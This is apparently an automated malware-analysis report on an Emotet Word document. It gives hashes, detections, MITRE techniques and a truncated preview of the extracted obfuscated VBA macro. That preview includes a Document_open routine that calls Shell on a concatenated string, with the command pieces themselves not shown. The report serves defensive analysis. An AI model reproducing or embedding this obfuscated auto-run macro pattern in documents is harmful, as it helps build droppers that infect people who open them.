Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8be1b86f689b64df…

MALICIOUS

Office (OLE)

192.2 KB Created: 2018-07-18 21:24:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 05f96236da518a5d01a30ee9d6f47866 SHA-1: 20c2896f0b0ce4df448cbaee6e4137184d232e4f SHA-256: 8be1b86f689b64df55feb7e23a013a7bc0e5ff24707ba111fdabc9fa3b25cc32
182 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6878565-0, indicating it is likely part of the Emotet malware family. Static analysis revealed the presence of VBA macros, specifically a Document_Open macro that utilizes the Shell() function. This strongly suggests the macro is designed to download and execute a secondary payload from a remote source, a common tactic for Emotet.

Heuristics 5

  • ClamAV: Doc.Downloader.Emotet-6878565-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6878565-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39992 bytes
SHA-256: 7bc3f7f0aca6a8a1a9ef985ae5d6717eb0e011fe18b4bc9b8f1c2b310b144b27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iwZHmPhjXwZHvF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function SmHuiVM()
On Error Resume Next
   XzLwAh = 59979 * vILqO - MHYsFR / YHaNR + (23813 - QVBOTS / jnwpP / 7204)
   ikzow = 96550 * PHbbh - skjiUi / ZGzWv + (54836 - UcCpNT / cqQdQ / 97730)
   unslN = 75590 * NGuVc - YnatTS / nEmNNc + (31507 - TFEjrT / JdKOs / 34095)
   asqHKp = 29096 * iEwbZj - LcVDBv / rVJCP + (10116 - iststi / VimzFJ / 14338)
   YsFRi = 4541 * JVtXB - zHaJB / MDjjws + (80951 - iGwmwn / lKJoz / 62504)
End Function
Private Function rruEDpjwjiSqBf()
On Error Resume Next
   zokZKq = 9152 * VWiiB - vEQCM / VWtmIq + (1375 - JSnmAC / ILCtP / 96320)
   tlQTO = 77668 * zsdPR - vwQUqY / Cisiw + (59789 - sNJwtb / AArXm / 84960)
   uIllz = 26798 * lYZZm - LtmVi / XlijV + (81407 - vzYzD / OjnjtM / 65303)
   uzptB = 54216 * dSGFQ - JAZQK / zMuCN + (55434 - OSMtu / YujWE / 57755)
   blXToq = 78663 * FCDqV - LcPuaS / NbWtX + (60937 - JsIBd / JzJCBj / 11759)
   WItAqm = 71469 * MdwjE - PYIrV / hMqdV + (14909 - IBVHw / dVIVwE / 10898)
   rZtAsG = 36444 * iKJBDK - Qiijc / qWzwb + (7561 - CMnPP / URjUPv / 80775)
End Function
Private Function PquXbun()
On Error Resume Next
   EQfcL = 67171 * iiikq - EtiRBu / ZtMZO + (45666 - bQJJN / zuXzDE / 8083)
   COTDcY = 92862 * hljCrL - FOnWf / VZXPz + (19632 - jNwqw / qzFKun / 60618)
   YhYIiT = 88113 * RiiLjp - nfOaPU / pGvUFA + (7577 - izzuAp / pbCpZi / 16133)
   kVosGA = 94426 * QcNoQY - srUdi / mfWuz + (7862 - qAiaJ / IZYjnf / 48926)
   CjNwR = 65121 * kaKiHz - RzIwom / wnfjQ + (75247 - LjzEt / dphzm / 51426)
End Function
Private Function joHjFoDXjuc()
On Error Resume Next
   HGZsR = 968 / fYANO / jSsMz * tijjw + 90867 + uzzSZY / (kQSAO - wrsAWr * 27379 / qtRDUr)
   YWczkG = 36442 / GboBiP / szFJBl * NFhhDG + 64075 + EjVrs / (XRJrYL - vCMRat * 48934 / PiqHo)
   hqHlTi = 23481 / saaTP / JvdSso * sQqXs + 26874 + tNlTZd / (ipmAYd - oNhQq * 80154 / cCbkfF)
   QNbQRR = 58072 / HtlMbF / RULGDC * GCYAR + 21790 + itYzI / (ZZHLw - YZWFd * 36579 / LKQUz)
End Function
Private Function DCMzrWIjq()
On Error Resume Next
   TkZlvc = 76789 * VLzMHz - dozLcj / NWnYX + (25635 - sTBWI / pwRot / 87377)
   tuTwUQ = 67103 * UfIwMX - zWEau / rwqzbK + (63792 - LSjPb / bUaDz / 39189)
   WOMJRt = 38443 * oSYBC - dztFBJ / MZjlD + (52817 - vBdaRr / bmRsnC / 87247)
   qZRiq = 52804 * rSCrJ - fXOSqW / pwjKUB + (23714 - NOGPjI / LmwmUr / 72632)
   UjwRc = 48635 * RCUPdM - Iowfj / mABFo + (24025 - CYuja / qEZSQ / 26604)
   sUvnZz = 83963 * hJAHSQ - iqcPM / sHopZW + (5679 - WhRAFu / FSPMUT / 82661)
End Function
Private Sub Document_open()
On Error Resume Next
   cYVmT = kXvHZ / 59598 / 26874 + wwqMNU * 40269 * zqLokh / 68519 - zLKwT
   ZqnNiX = kkEGNB / 6181 / 13107 + cECYi * 51757 * bCnfJN / 38691 - MfNQV
   lUvlH = JOwrK / 97903 / 66098 + ujntZ * 11524 * NcRpj / 99542 - NcpYC
Shell "" + CUFbjdUhMqwi + uGzMLKurV + CVar("c") + pthomkpUR + ZzuziFT + XZnXrQ + hwNbPIrmDQz + jHdaETmcG + FFiMVfKiv + tFGjw + pEjSS + XzBPwXl + wdrpwSsGH + XVlGCOMbM + qhWNBJR + HpOUSXpdBXd + aPQJaRXz + AjROMfb + JNzUQmY + wvhVbaYaoF + ANuMtMLXrdvaR, 0
   TCmwc = YlrLEi / 60766 / 79338 + dkpMQ * 99510 * cfpuHd / 40751 - HEiaE
   JOGbc = Bphfi / 78594 / 40 + kFbBm * 49303 * GiavQ / 82533 - AwFki
End Sub
Private Function FpXdbpHPYoV()
On Error Resume Next
   wGZSw = CfjjMM / 94605 / 79489 + ZzKZkJ * 99519 * dIwRwT / 2301 - vBhBp
   ciabz = (93918 + CVlHj)
   jfYvZ = (16266 + RiAWp)
   wEMwTv = (19930 + iEMfa)
   Pnvtf = (57163 + LOaiTr)
End Function
Private Function titGOMavvBCt()
On Error Resume Next
   pbTjN = (53312 + FzSOul)
   awaYV = (20338 + Huwkz)
   Yzsri = (63177 + ZkFEBi)
   wDWijJ = (77362 + osBoi)
   TaAnWD = (19356 + TrtCi)
End Function
Private Function sNwsldBvIWm()
On Error Resume Next
   mmHFZ = (59864 + COKFh)
   GomGF = (6808 + zjDppf)
   RCiJW = (40246 + 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.